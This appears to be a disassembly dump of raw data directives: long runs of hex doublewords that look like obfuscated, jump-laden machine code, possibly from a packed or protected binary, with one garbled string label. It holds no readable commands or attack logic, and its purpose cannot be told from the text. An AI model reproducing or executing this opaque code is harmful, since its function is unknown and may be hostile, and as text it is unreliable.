137C6732h, 6BA6B369h, 665F9B69h, 0E90F3DBAh, 11h, 49C9654h dd 10D554A1h, 812647C7h, 0A862F4B2h, 68B0F57h, 0F000000h dd 80h, 71BE6600h, 9CBB6640h, 0D9BF0FAEh, 0FC18B66h, 0E9F8D1BFh dd 0Eh, 0C11374F2h, 932C2BDh, 32FC3777h, 8B666873h, 0CA8BF9CAh dd 0FE9h, 1CA8B100h, 64ED1127h, 77C35E3Fh, 677739C1h, 0DE8h dd 1C384D00h, 99996497h, 0A1667E84h, 0E9814B26h, 7A132F08h dd 0D18B665Bh, 18F0Fh, 66F80000h, 0DF2FCA81h, 14E8h, 7EF6CD00h dd 0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh, 0C98166A9h dd 0E95890F5h, 0Dh, 0AB6249DCh, 0E35EDF72h, 2AF2CF00h dd 0F0B70FECh, 43DBD381h, 8B0F0384h, 6, 20CACB81h, 816654AEh dd 0F713AD8h, 18Ah, 0C281F500h, 134D429Bh, 0BF72C2BFh dd 0C61DB936h, 0FE8B5F12h, 94DF8166h, 0BDE18025h, 0E681E28Ah dd 7894A45h, 51FEB70Fh, 12E85EF9h, 5000000h, 2B8CC93Fh dd 0EF1BAD26h, 8860C9ABh, 8D1F3D76h, 5810F6Dh, 66000000h dd 6FA6F681h, 0BF0F605Fh, 48F0FC6h, 66000000h, 61B88FB9h dd 1EF18166h, 0E381664Ch, 8B664177h, 8E0FD1h, 0F000000h dd 0C8Fh, 5E95600h, 8000000h, 89412687h, 38A0F58h, 0F000000h dd 0E4B9FABFh, 8017E8D7h, 5E92CC5h, 9D000000h, 0F685232Eh dd 0BE9h, 2C26D00h, 1BE2B09Ch, 265FB2Ah, 806ADF80h, 816656C9h dd 0E81EB4F2h, 0Eh, 84A7B252h, 1ACB1E7Ch, 0AEBD3541h, 0B65E7D32h dd 6E9ECh, 20420000h, 165E48E0h, 14E9F9h, 0BB350000h, 9B8C9911h dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 8B60B264h, 0FE9D8h dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h, 42BE6154h dd 0F3E410Fh, 1587h, 800F6000h, 0 dd 8E9h, 0F917700h, 294055B7h, 0F78B613Ah, 0DA8B6660h dd 61EC8A60h, 0BDB96661h, 0BBE381B2h, 5051D9F1h, 0F616060h dd 5961C1B7h, 13E9h, 6C532200h, 46DF6AC6h, 2BA31E64h, 0E03B352Fh dd 0C45D7E9Dh, 850F6060h, 0 dd 13E8h, 0FB2F5100h, 73A60B88h, 1D0E001Ch, 111786FBh dd 3F4A8BFDh, 0DE96159h, 0E5000000h, 0F58D17A2h, 51D85A4Bh dd 0B168CD21h, 0D2B70F61h, 0A830Fh, 8B0F0000h, 4, 0C199BB66h dd 13E95E56h, 5C000000h, 19763CB5h, 80415F39h, 0F1B7FBCCh dd 0AE441AA4h, 0E957C49Bh, 8, 75735510h, 0F1E1F080h, 0AE9FC59h dd 0F1000000h, 20E6C1BAh, 0CC2D5BA4h, 880FF576h, 0Ch, 6810Fh dd 8E0F0000h, 0 dd 700FC681h, 8B665F5Fh, 0C28166D6h, 8B660131h, 0F967B0DFh dd 0E3DF8166h, 0BE9D6h, 0C8CF0000h, 8E2FBEC6h, 113DE840h dd 8C0FF9CBh, 6, 0A7F2D881h, 0FC60266Ch, 14BE61FCh, 66281951h dd 8B66FB8Bh, 0F81FB2CFh, 10E8h, 4E90DD00h, 0AF7FCCC4h dd 8083E8F6h, 0EB6B18FEh, 60F55AC2h, 13E9h, 25537100h dd 0D6D1E501h, 5AFD06FFh, 0A568B15Ah, 0DB39DDBAh, 0DFB70F61h dd 6618EC80h, 7F63C181h, 8C98166h, 0EB81667Ch, 8D0FF5DEh dd 5, 6CCE8166h, 0F1B70FD8h, 12E9h, 3A3B7700h, 553C4225h dd 34E372C7h, 1A0B9CABh, 0E8510C01h, 9, 0FA7D98DEh, 0FC58A85Dh dd 0FA8B66DDh, 9DF28158h, 0BF41B7B8h, 125751E3h, 2FA6BE66h dd 47CBA66h, 5FF78A51h, 0F862F180h, 0C668BDB9h, 0F38B665Bh dd 0EB60F281h, 0FB8B72CBh, 0B32BBF60h, 8B603F4Ah, 6161F9D8h dd 90CA8166h, 0F7B70FAEh, 60CE8160h, 0F41B9A7h, 686h, 8C0F00h dd 61000000h, 0BF0FF9F8h, 860F50D1h, 3, 5BBCE280h, 8E9FCF9h dd 48000000h, 8701B78Bh, 0F77EA99h, 386h, 0C28B6600h, 0B233E180h dd 0D0BF0F77h, 8A0FF88Bh, 0 aRflATs db 'Rf‹Ú[€Åâé',7,0 align 10h dd 0A344E500h, 0FF5A9089h, 10E926B4h, 0C2000000h, 0D3EE8780h dd 583A14A9h, 0CDEA0FEh, 815E9104h, 39811BE1h, 6800F24h dd 81000000h, 0FBA3A4CAh, 0FEFB409h, 1C89h, 10E800h, 9C6B0000h dd 4477D0CBh, 76A614B5h, 9DB26053h, 0E0817548h, 2FBA4AD7h dd 8870F5Bh, 0F000000h, 285h, 60585000h, 0EE9h, 0C77D3F00h dd 21C15EAh, 30F3D66h, 0E8C09768h, 14h, 0C29228A9h, 85EC3681h dd 198A1479h, 0B03CAF25h, 0B0CC67C2h, 3EDE8166h, 66615904h dd 0B966F08Bh, 9E9BDD2h, 50000000h, 0DFE7C477h, 5BD3C0BDh dd 5E9h, 16753100h, 8F0F17CDh, 0 dd 28C0Fh, 13B00000h, 0FE4EBA66h, 0A1C38166h, 56CB8129h dd 0F3A206Ch, 488h, 80B96600h, 0CE9F5h, 0EEC80000h, 0B5EC866Eh dd 0CF5B1ECCh, 0BF0FEA27h, 0BF0F60FFh, 12C681CFh, 613BC3B9h dd 7E9h, 2C033300h, 2086EAEEh, 2CD18166h, 5ABF6685h, 0B7B96632h dd 8A0FF812h, 9, 38F0Fh, 0BF0F0000h, 9C280CBh, 0DE9h, 61A4B600h dd 0EDB43C13h, 247C8A89h, 27BF8194h, 81792FE1h, 2A401CEh dd 3DB9F853h, 0E9215EFAh, 12h, 0B75D83F3h, 0F81B4893h dd 62702DF7h, 0C649E80Ch, 12E8A26Dh, 0A6000000h, 3E9F81BDh dd 0B85C23F7h, 0CE4F2AA7h, 6DEED9B8h, 0C281593Ah, 616907D1h dd 0DA80F960h, 0B70F610Eh, 0D98166C6h, 8B0FB3A3h, 2, 0DE9E78Ah dd 6E000000h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh, 0EE8h dd 2C1B8C00h, 0F6A37B46h, 1E4F7A44h, 66CC2434h, 0B25EF28Bh dd 2DBB66D4h, 0B70F6045h, 8E9DAh, 0B1250000h, 869EB3C1h dd 0F61D49Ch, 1986h, 14E900h, 306B0000h, 18DAE269h, 0CAE9B687h dd 0A2A5E073h, 31C5B557h, 0CC8A21B0h, 0DF80EE8Ah, 0B96660A7h dd 810FFA89h, 14h, 0FE9h, 252CD000h, 0CAF06344h, 89898A24h dd 4DD2440Eh, 2EB96661h, 138E0F51h, 0E8000000h, 0Bh, 92A91B8h dd 3FFF91Fh, 0B4653618h, 816659AFh, 0E845B8C1h, 7, 9D1F4D19h dd 5F116E93h, 541B6AB9h, 4A0DB823h, 0D88A6AD3h, 4800Fh dd 60500000h, 0CE8B5E61h, 0C38027B3h, 0DE82Fh, 17700000h dd 4C8C3C4Bh, 0D9593F95h, 0FEB96DDh, 48Ch, 0DAB96600h dd 0B96658A1h, 8E0FB7E8h, 12h, 0DE9h, 706C0500h, 55D47F8Bh dd 9676C34Fh, 8E9AADEh, 20000000h, 52FBBFBh, 56953529h dd 7406BB66h, 0D4D48059h, 0CE9h, 65C5A100h, 0C6EED06Ch dd 0AE64D6F4h, 8F0FFCFBh, 0Dh, 1C2B860h, 820F1020h, 0 dd 8BDE8B61h, 0FCF8BD1h, 1A85h, 12E800h, 0D12B0000h, 6D87557Ch dd 6EC09D9h, 3C74251Ch, 629BBC07h, 665FFA8Bh, 661BC4BEh dd 0BB1DB3BBh, 642FE2FAh, 0BE9h, 0B6F6F500h, 519E440Ah dd 3A850F4Fh, 0E8D08B66h, 12h, 0E2309E55h, 0A65E189Bh dd 0F1F513E8h, 6D78F1Ah, 8166FB85h, 5E319FE0h, 0BC78166h dd 0DE8B66B8h, 0FCB8C380h, 6E8h, 0A88EC700h, 8B92D253h dd 816659D3h, 0E92765C8h, 14h, 8A3B2716h, 0F63C3566h, 0D487162Fh dd 0FBCB253Dh, 0F2AE7D64h, 6B657F8h, 0DE958h, 0A5130000h dd 672B9BF3h, 0F00E3DDFh, 0E90162CFh, 0Bh, 31677D9Fh, 0B3156BA2h dd 0E8BC2B92h, 5, 0ABDF6576h, 7E959h, 0AD170000h, 2272F442h dd 81F85A9Fh, 0E01FDBF3h, 1860F19h, 0F5000000h, 8D0Fh dd 13E80000h, 0E4000000h, 73E80600h, 4C62301Eh, 871A7913h dd 9D7A02A8h, 23BE3900h, 595D2BCAh, 11E9h, 45764000h, 86228382h dd 97064928h, 3D68F9DEh, 80B2F591h, 0E9EAE180h, 7, 871B05D1h dd 60911183h, 0E9FBC880h, 14h, 0A6573C5h, 0D018CDD1h, 0E86BD79Ah dd 354A59BEh, 0CCED0968h, 11E961h, 8A0B0000h, 0A0DB22D6h dd 0DB4BD4D5h, 3E19F5ABh, 81D2CC49h, 0AC0081EAh, 22B9661Dh dd 0C281602Dh, 129AA7A3h, 5E8h, 6A2F5A00h, 800F0C7Eh, 0 dd 0F580615Bh, 3860FAFh, 0F000000h, 0B0BAD6B7h, 8A4BA48Eh dd 52F98BEAh, 0EE8h, 13CDDA00h, 0D12E9B48h, 3EDDB169h dd 81DE8E25h, 0FC8739C8h, 8A585A10h, 5E8DCh, 7A7E0000h dd 5879DBE1h, 4399BA66h, 1C8A0Fh, 11E80000h, 0A2000000h dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 8504B1BEh dd 1BB05F2Dh, 10E9h, 17EAB900h, 85C50105h, 498AE438h, 72C8AB10h dd 17DC80AEh, 18850Fh, 0E8510000h, 10h, 0DD39B753h, 1F48A7B6h dd 41868D2Eh, 12D2D3E9h, 820F5959h, 6, 687ACF81h, 0C1817C28h dd 60447F45h, 0FE96AB4h, 0E2000000h, 0A05237EDh, 0E4A0C4A2h dd 8D40D9B2h, 0D18BE9F8h, 28F0Fh, 26B70000h, 95D68150h dd 5B45E36Eh, 58E0Fh, 81660000h, 666AE3EEh, 800CF0BBh dd 0DF802CD9h, 0FCEE8AB3h, 0CE850h, 0A91B0000h, 5AAA0B8Ch dd 0A7A8D2A1h, 61B9149Ah, 5E60D762h, 0C3B70F5Fh, 1B22D981h dd 870F7136h, 18h, 0BE860h, 22DF0000h, 0ED18204Ah, 825DC465h dd 39BB5BABh, 617414F3h, 0D4B0E981h, 0F505417h, 28Bh, 59616000h dd 88B76057h, 61DE8B66h, 88E0F5Fh, 50000000h, 870Fh, 0F5B0000h dd 481h, 47BF6600h, 0BE951E9h, 0C9000000h, 75201DC5h, 0B6AE793Fh dd 665E2BF2h, 7F07C381h, 38B0F51h, 66000000h, 665AC28Bh dd 0D981DE8Bh, 47F5212h, 0FF1B70Fh, 485h, 4AB15300h, 11E85Bh dd 0A6400000h, 5BC517AAh, 0EBFFD1ACh, 0BF21D3A6h, 66660983h dd 4221C781h, 0F281665Bh, 97B9FA12h, 0B4572524h, 61BE66ADh dd 8E9BEh, 0CC280000h, 0A917EEE3h, 840F0120h, 3, 663AE280h dd 0F824D0BAh, 0AB709FB9h, 99BE667Bh, 0F8F18B9Eh, 0BFA7ADBBh dd 0DE961h, 0A9B40000h, 0D7B05777h, 24E94841h, 6644A9A3h dd 0F13D1BBh, 489h, 0DEBB6600h, 0F0816698h, 860F32DAh dd 0Bh, 6E9h, 4F479600h, 66D0F7A5h, 5B94E381h, 8E9h, 1BEDDE00h dd 280E652Fh, 0F85E5781h, 0FE8h, 738EE00h, 904882A8h, 72581C3h dd 536E654Fh, 5F36E280h, 0AE8h, 0DD133000h, 5E4E4AD8h dd 0BE311D1Ch, 35F12F40h, 2880F5Eh, 8B000000h, 11840FCAh dd 0E8000000h, 5, 0BEB2733Ch, 810F63h, 5B000000h, 6BD3C381h dd 0BA663374h, 830F428Ch, 0 dd 59F28B56h, 57DFB70Fh, 5BFAB70Fh, 7860Fh, 8C0F0000h dd 1, 6611B0F8h, 8166C18Bh, 66DBB3D1h, 0B866D88Bh, 81663263h dd 81C3C0E2h, 60FAC0C1h, 54F18128h, 0B70C7D90h, 14E9A5h dd 4D060000h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh dd 11E85790h, 49000000h, 0EEA11E32h, 7663CC5h, 7CE55A36h dd 8B9500E9h, 0C6BB6660h, 8A0FEAh, 61000000h, 0BE60FC5Fh dd 2FEE4F96h, 88F08166h, 66F96193h, 0F6A28BBh, 1A8Eh, 13E800h dd 62440000h, 1DA7F198h, 0D61C29DAh, 8D38449Ch, 8720FFE0h dd 0E85EF84Eh, 11h, 67AE58CAh, 4416DAE8h, 416CE41Ah, 0A5BF7397h dd 0B880FE7h, 0E9000000h, 6, 1678B684h, 6058A40Ah, 6E8h dd 3BB11F00h, 56AAB1ACh, 0E8615E5Ah, 0Ah, 0BEB437BFh, 7D5E50Dh dd 820FDB3Fh, 3, 58F08B66h, 8E9h, 91D89A00h, 43298BCAh dd 0D381667Bh, 53F9A3A1h, 12E8h, 9E4A0800h, 0E614759Fh dd 0BD9B4DDDh, 0C1833724h, 6624BE0Dh, 3F6BE281h, 0CE9595Fh dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 81E8FB4Fh, 0FAD442C7h dd 0C7816637h, 0EE8A3363h, 0DCD08053h, 0F5D98A58h, 8B0FFEB7h dd 0Fh, 0AE9h, 0A83A8400h, 0E1A9265Fh, 0E9B8F568h, 6, 6361541Dh dd 0E380073Fh, 11E92Ch, 0B03A0000h, 211216B0h, 0DFB7C948h dd 0EFB6954Dh, 0E8E2EF9Ch, 6, 7D9F1637h, 0DE813167h, 55CB6525h dd 0F0816658h, 0D88B2199h, 0FCE8B66h, 888h, 800F5200h dd 0 dd 66C38A5Eh, 21CDE281h, 6E891B3h, 24000000h, 0E6B70A9Bh dd 8BC881CEh, 59325A10h, 4FA3BB66h, 0D695D681h, 0B966472Bh dd 8166835Eh, 816594C2h, 378EF6DEh, 0D18B6627h, 2800Fh dd 0D78B0000h, 0C7818DB3h, 7B1B619Dh, 13E8h, 6B99F600h dd 869CF85Ah, 0BB1EAC72h, 84172320h, 1BD5E16Ch, 0E85F85B1h dd 0Bh, 42F31683h, 0CA7D280Ah, 0E9D9078Fh, 0Dh, 0CDEA0FEh dd 7D5E9104h, 0B090FF10h, 0E9FC5836h, 11h, 8E76AB46h, 5F4DD9A9h dd 95A5A5F5h, 812A595Eh, 58FC53CEh, 0E9E7C680h, 10h, 0C44E90DDh dd 0F6AF7FCCh, 0FE8083E8h, 0C2EB6B18h, 0FE9h, 0C0529700h dd 9ACB9E5Eh, 0C8FC970h, 952ED7E7h, 0CE9FCh, 0A7DB0000h dd 6263EED7h, 3977ABCDh, 14E80C1Dh, 0D3000000h, 0D0ACAC28h dd 292FAFAEh, 347BB15Fh, 10E73F03h, 66C2A459h, 58A823BEh dd 99B9BF60h, 0BB6604F3h, 57610D61h, 7E8h, 9DF4E300h, 0EB37FCAAh dd 3178BE66h, 5E85859h, 21000000h, 3E517F2Eh, 8166F85Bh dd 0E9CEB8C0h, 0Ah, 71F3710h, 3350F0A9h, 0F08B7B29h, 5692C181h dd 0E38033CDh, 0D18B66EBh, 0BEFB8BF8h, 513A0318h, 870FFE8Bh dd 0 dd 58A0Fh, 81660000h, 815ABAF6h, 34DAD0F3h, 33FFBB08h dd 0AE8044Dh, 7D000000h, 27265515h, 36162C4Bh, 0DBF0815Bh dd 5F1724AAh, 800FD78Bh, 5, 48C08166h, 0BF0F563Bh, 0E95059F1h dd 11h, 0A609C3D8h, 79BE0891h, 7AA9815Fh, 0C99727F2h, 0E0815B94h dd 781658E6h, 0CC3127BAh, 0FFE8A74h, 6E9C2B7h, 7A000000h dd 69C073AAh, 0E9C28A52h, 0Dh, 73B6C16Ah, 6763C9ACh, 8BB8647h dd 88D080B8h, 603FCD80h, 7259DF81h, 870F6E1Ch, 6, 8C0Fh dd 60610000h, 60FEE580h, 61614AB4h, 96D480F8h, 810FF78Bh dd 5, 0F5E68166h, 60CF8B71h, 3B49C881h, 0DE8075C6h, 11E8614Dh dd 80000000h, 1704291h, 0D122648Ah, 45531115h, 0FF13EADDh dd 58E3DD80h, 0FD18B66h, 680h, 0F1CB8100h, 664792BAh, 0BA66FB8Bh dd 0BF0F6EE4h, 690AB9D6h, 66507140h, 665EFB8Bh, 0E82D42BEh dd 11h, 0C7719A72h, 316313EEh, 7E96D646h, 824C6380h, 66BB6684h dd 0E9F85F7Ah, 7, 0D1D78072h, 0F5A1E670h, 0AE960h, 0CFA00000h dd 20640012h, 0E6505DB2h, 0BE9h, 0F483FC00h, 4C44F0FDh dd 0E0F099ADh, 0C0BF0F61h, 66B2E580h, 0E79AC781h, 11E8h dd 57412C00h, 0A36491CAh, 0B8AE2369h, 114CE839h, 0DE91F44h dd 3C000000h, 209FE34Bh, 5AFFFA67h, 0BF28ACE4h, 10E958h dd 57530000h, 0F4EAC41Ch, 6786CB5Ah, 0B5D2BC70h, 0ACBA94D2h dd 816A5A5Eh, 0C36604F1h, 2BF6670h, 8280BBAEh, 890F0A5Ah dd 11h, 0CE9h, 0A77A6C00h, 829B1C5Ch, 9C947189h, 4FBA6682h dd 9F38109h, 8B3E422Eh, 0F5B56C1h, 0F53F0BFh, 0BE5ED7BFh dd 57182536h, 8880Fh, 860F0000h, 2, 28BBC68Bh, 0BF69C5FEh dd 4C2FD70Bh, 39CBE66h, 12E9h, 822E7A00h, 4C75C79Eh, 4663320Ch dd 0E42EC420h, 57170830h, 0AABB5FF8h, 81011004h, 4B02DEDBh dd 96B8601Eh, 0B97AC4C9h, 22DAE184h, 8D0F6061h, 0Ch, 7E9h dd 0FB828D00h, 0FEFBF5Dh, 14D88166h, 11E9616Ah, 21000000h dd 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h, 8D0Fh dd 0DE810000h, 7DB0BB04h, 81D1B70Fh, 8350D1CEh, 0CB816668h dd 0F28B6C02h, 17820Fh, 12E90000h, 19000000h, 572F3DC6h dd 260F9A18h, 7538DCD9h, 6FFBE447h, 0CE85Ah, 0F1D50000h dd 0F34E59FAh, 4877047Ah, 81562ACFh, 3D75FDEh, 665E5915h dd 81D2EB81h, 0DB816660h, 0F61FB6Dh, 0FE8CEB7h, 37000000h dd 93EB3A99h, 0DDD2343Ch, 0C0A36D01h, 66592039h, 66584EBFh dd 0BB60C18Bh, 4E1B7F99h, 3394E881h, 8B617E06h, 0FD38BC2h dd 589h, 6340BE00h, 11E913EDh, 6F000000h, 806B0F15h, 716A58D6h dd 4733C637h, 63FC1642h, 66DBB70Fh, 0E9B056BFh, 9, 0EB52B8C1h dd 4C5BA5ABh, 23BB66BAh, 8E8F837h, 0B8000000h, 698C174h dd 5992FA30h, 0DE9h, 1614200h, 75C32409h, 412D0E50h, 66F5E646h dd 522B49BFh, 665ACF8Bh, 0A8C2E281h, 860FD78Bh, 18h, 13E9h dd 86AB7600h, 2041FF47h, 7834F269h, 15F750F4h, 0A8BC46E7h dd 4860Fh, 0BF660000h, 0BE605E04h, 1E6D70BDh, 1A0FCA81h dd 60617AE0h, 58616052h, 0D9EEF281h, 816136AEh, 222013C1h dd 14E912h, 80660000h, 8B56B2BBh, 8EEE2875h, 0E1EC9D1h dd 0C5B23853h, 5E8DCC8h, 0C3000000h, 0F255D9A1h, 0EE8h dd 4BE69A00h, 0E0707B7Dh, 0C04B6BB8h, 0FB52BD1h, 5E58DEB7h dd 10B2EA81h, 8FBE1616h, 60077544h, 0DE8BF561h, 67CA0CBFh dd 0D8B70F58h, 60FC60F8h, 8A0FD88Bh, 0 dd 81666161h, 8B96F4D3h, 2890FF3h, 8A000000h, 0BE8F5h dd 62DF0000h, 99169F1h, 499ADA14h, 13E95200h, 0F8000000h dd 633784C0h, 91079735h, 5AB9ABFFh, 45AE06DEh, 585EB10Ah dd 0EF81D88Bh, 1299DB42h, 7E9h, 30309C00h, 0A85E02E4h dd 98A0Fh, 8A0F0000h, 3, 0BADAB70Fh, 5AEE057Fh, 840Fh dd 0F500000h, 38Bh, 0C78B6600h, 168E0F5Bh, 0F000000h, 1085h dd 0BE900h, 0E0920000h, 0AD1F1D8Ah, 279CA73Ah, 0F8E0F91h dd 0E8000000h, 8, 7B6F82B9h, 3DD11Ah, 0CE859F8h, 0F2000000h dd 0E167ED52h, 957610BEh, 52216921h, 7E9h, 37F2EA00h, 9D4F4F91h dd 0F7815B5Ah, 2184CE8h, 0DE9h, 977CCB00h, 61F407C4h, 0ACB84B83h dd 13E83A9Ch, 9000000h, 9E3AAA6Bh, 4039A0CFh, 571085ADh dd 7E4FDA13h, 8C0FC41Fh, 0 dd 0CE95Ah, 840D0000h, 23973122h, 0C287A43Ch, 6E98224h dd 0C000000h, 1CB7C0C1h, 0A37FBA24h, 0B9536BFCh, 443D12B9h dd 0C0B70F5Ah, 0D860Fh, 5E80000h, 5B000000h, 0CFF8C3F9h dd 0E85EF08Bh, 0Ah, 0C8AC0479h, 6D49B13Dh, 8B66B45Bh, 890F5FDAh dd 9, 3840Fh, 0BF0F0000h, 8BF98BFAh, 0BB5BBFD7h, 8D0F6DD1h dd 5, 2DDDF6BEh, 4830F42h, 51000000h, 8B5E5950h, 5880FC3h dd 0BE000000h, 691EA7E2h, 8A0FD38Ah, 4, 4AADB866h, 0C7F5EA81h dd 0FE8B247Fh, 5351C181h, 66513742h, 5F49ADBBh, 890F5150h dd 0 dd 8B665F5Eh, 19830FF2h, 0E9000000h, 14h, 0D9F26Ch, 9341D025h dd 7C24E452h, 836385BEh, 0D290714Dh, 0AE8h, 0F0F00900h dd 8D448FF1h, 5399FCB4h, 0BE665A59h, 7E8A6D7h, 0A8000000h dd 0F0F4D807h, 830F68B5h, 0Dh, 8E9h, 99CB7300h, 7ECAA2F6h dd 8166596Ch, 8B1413EEh, 47E181F9h, 0F528FA1h, 8B57C1BFh dd 0FFC5AF7h, 0D88h, 8E900h, 9A6A0000h, 2CD6ECF9h, 0CE970F3h dd 98000000h, 44C63E0Ch, 6426C0CAh, 66D114FEh, 91EECE81h dd 0C8C98166h, 1F850FDBh, 0E8000000h, 14h, 9E8C06DCh, 0B61C09A9h dd 1E11E6A0h, 68857546h, 0EDA83839h, 33EF03BBh, 10E95B0Bh dd 42000000h, 9ABA1072h, 986CEDA9h, 9654CCCBh, 81A1049Ch dd 6EE5B9DFh, 5890F17h, 0BB000000h, 76E0A703h, 93D6BE66h dd 3BD68166h, 89DB811Eh, 667F9076h, 66FBCEBEh, 0EBFCE281h dd 11800Fh, 0CE90000h, 2A000000h, 0BE09ABAFh, 0EE917488h dd 66236EF5h, 412CD181h, 0BB0B966h, 5880Fh, 81660000h dd 668D1DE9h, 12E9F88Bh, 0B9000000h, 0A768F324h, 86042BDAh dd 88F5B82Ah, 1E72D8F5h, 14AFB861h, 81524780h, 0E536ACEAh dd 0E9815F7Ch, 48D9CEE2h, 8166BEB2h, 0FE87EF0h, 0C68BD3BFh dd 0EE9h, 645C8F00h, 90939FCCh, 3ABAB064h, 0E980A58Eh dd 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BE9E1h dd 6D4B0000h, 0AD5AAE55h, 689C5AC7h, 0F5FB8BE6h, 13E9F5h dd 37E10000h, 9F138A36h, 7EC68850h, 47808230h, 0D8590C89h dd 0D6805686h, 0D1B158C5h, 601ADA80h, 219CAABBh, 488CBB6Fh dd 60616E7Bh, 0FF08B66h, 1688h, 11E900h, 0F2490000h, 0E3ADBED4h dd 980FAC19h, 2BDD4CD4h, 6149DB91h, 0DE860h, 0FA160000h dd 316E7338h, 0A00700EBh, 0F934341h, 8Dh, 12E95E00h, 4D000000h dd 0E757545Bh, 913EB178h, 0EB942670h, 78D6925h, 6E861A7h dd 0C8000000h, 42EC0518h, 7AB9607Dh, 0F877D0E1h, 5E95A61h dd 0E9000000h, 104A72CCh, 118F0F60h, 0E9000000h, 0Ch, 4729E77Eh dd 93AFC2A8h, 0BCA5F260h, 3D98051h, 0EE96158h, 0A6000000h dd 0AF1F4FE1h, 9EE60716h, 44D837C3h, 10E960F4h, 57000000h dd 0AD161544h, 5E811A8Bh, 261D9BEDh, 0E94DD6FFh, 0Ah, 2C5F2E41h dd 7F61D8CAh, 0F61772Ah, 581h, 4B2CB900h, 0B70F4211h, 9E8FBh dd 30810000h, 8341E02Fh, 59AA746Bh, 0E961EE80h, 14h, 92EAF28Fh dd 337A209Ch, 0FC4627BBh, 1F4AEBB3h, 0D3D4FD30h, 8E9h dd 0BEF85C00h, 0F06E7069h, 800F6Fh, 81000000h, 0CF59FBC0h dd 80F08B79h, 0BF0F9FD9h, 28D0FD9h, 8B000000h, 0D1BF0FC3h dd 8AD7BE66h, 8144C981h, 8B662E7Eh, 28F0FC8h, 0B0000000h dd 0D88166D7h, 81665E9Ah, 0E9D219D2h, 8, 9EC092E6h, 9A4FB6B5h dd 12E960h, 6CEB0000h, 90C9FB1Eh, 665E581Ah, 809CF281h dd 4C526BD1h, 0F860Fh, 0AE90000h, 26000000h, 3DCB67D7h dd 0D137B2C2h, 0BE6661D0h, 0B70F5146h, 0CF8166CAh, 0C88B4CE6h dd 81D8BF0Fh, 68A40D6h, 0AE848h, 0C7CA0000h, 8F561EE1h dd 0EF0D78D3h, 0E959FA8Bh, 0Ch, 792A61FDh, 68C0ECA3h, 3AF970EAh dd 16810Fh, 11E90000h, 54000000h, 25B537F6h, 0B70EC33h dd 202FF0AEh, 3EEF4897h, 850F51h, 5A000000h, 5E0CB3B8h dd 0AA10BF70h, 66600813h, 3858C281h, 0F28B6660h, 61615853h dd 0E8D88B66h, 6, 0B887AAF6h, 11E91B28h, 0C2000000h, 0BF48C73Bh dd 0F5C531E0h, 7A687013h, 342B2AABh, 0C1B9665Ah, 11E95Ah dd 0F2EF0000h, 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 60AFF3F9h dd 5840Fh, 81660000h, 662D94E8h, 4AAAD281h, 0B74AB061h dd 81666067h, 0F7A1CC9h, 686h, 810F00h, 61000000h, 0C800Fh dd 7E90000h, 69000000h, 9C934B8Ch, 0D5802653h, 0AE91Ah dd 474E0000h, 5C65B577h, 0E64552DAh, 66FFB70Fh, 5839E281h dd 0D49C8CBFh, 5820F78h, 0BA000000h, 29E92CFAh, 0E958F856h dd 7, 423107F7h, 0FC863550h, 51C78B66h, 5AECB656h, 0CA81665Eh dd 60605BD2h, 6AD88166h, 8F0F8Dh, 61000000h, 2830Fh, 59510000h dd 0FBBF0F61h, 6650D781h, 60F5608Eh, 81C78B66h, 48CF34C9h dd 9DB36125h, 0D8B0Fh, 8E90000h, 1B000000h, 24F01DD5h dd 66B65FB8h, 0B92B0FBAh, 729AC6E1h, 2890F57h, 8B000000h dd 0BE6658F8h, 12E8C27Dh, 71000000h, 3DD97920h, 38B3FB58h dd 60328312h, 30AAB95Bh, 68B0F1Eh, 0F000000h, 8Eh, 1BBB5E00h dd 0B9781DABh, 6140D42Fh, 26B96653h, 8E959D1h, 5B000000h dd 76D22F72h, 5737DB27h, 12E85Fh, 50180000h, 0F6DB88ABh dd 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 74DF815Eh, 0F9206EACh dd 178B0Fh, 12E90000h, 0E2000000h, 0BF02B776h, 384D287Ah dd 9964971Ch, 667E8499h, 665A57A1h, 9B6CE081h, 8D0F2CB1h dd 5, 38F18166h, 0C08166D7h, 0B36027DDh, 12E910h, 0F1860000h dd 692BB5C5h, 4979305Bh, 539D5F25h, 42E568F1h, 34BB6661h dd 0FF38A24h, 1389h, 0EE900h, 7E1E0000h, 4A0258h, 6A8BDD6Ch dd 8FAF0E62h, 0FDE8B66h, 386h, 0D9B70F00h, 0AE923EBBh dd 6BDF8035h, 0FE9h, 9E822E00h, 0C4C75C7h, 20466332h, 30E42EC4h dd 5820Fh, 33B90000h, 0F4ACE0Ah, 0E381D7B7h, 6C91DFC2h dd 13E8h, 91390300h, 47C250B9h, 18B5A0FBh, 373B5268h, 450039E0h dd 9DF4805Fh, 1CCA8166h, 2840F90h, 0B3000000h, 0B1B95336h dd 5B1C035Ah, 18F0Fh, 66FC0000h, 567341BAh, 8E95Fh, 7E800000h dd 9443B44Ah, 66F8DC96h, 0BF17E281h, 56C3BF0Fh, 6E8h, 0EBC6C00h dd 0E88DA7E1h, 0Eh, 583E46C9h, 2A857FC2h, 7A10B225h, 5B599A83h dd 0AE959h, 0F3390000h, 0BB47026Fh, 4F8C2D1Bh, 0BE47D680h dd 62420110h, 8DCBF66h, 3810Fh, 0BF0F0000h, 0BAB460D8h dd 0BD44EEBFh, 14E9613Eh, 0DF000000h, 79D5EFE5h, 935D4744h dd 0A86F792Eh, 6D19C2BAh, 0E9E6FCEBh, 14h, 0B3BE820Eh dd 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh, 0E8F1B70Fh dd 6, 0B5673192h, 0B70F97D5h, 8B6658DAh, 3800FF3h, 0F000000h dd 8B66F9B7h, 0C5B860F2h, 81180C34h, 420C22E7h, 0CE816177h dd 608036D5h, 52F0B70Fh, 10F0BB66h, 1C0805Ah, 0A500C181h dd 0C3B06F08h, 0FC1B70Fh, 28Ch, 8B47B200h, 0FEBF0FF8h dd 68D0FF8h, 81000000h, 9C30B4DAh, 7E941h, 278A0000h, 6328507Fh dd 11E934h, 463E0000h, 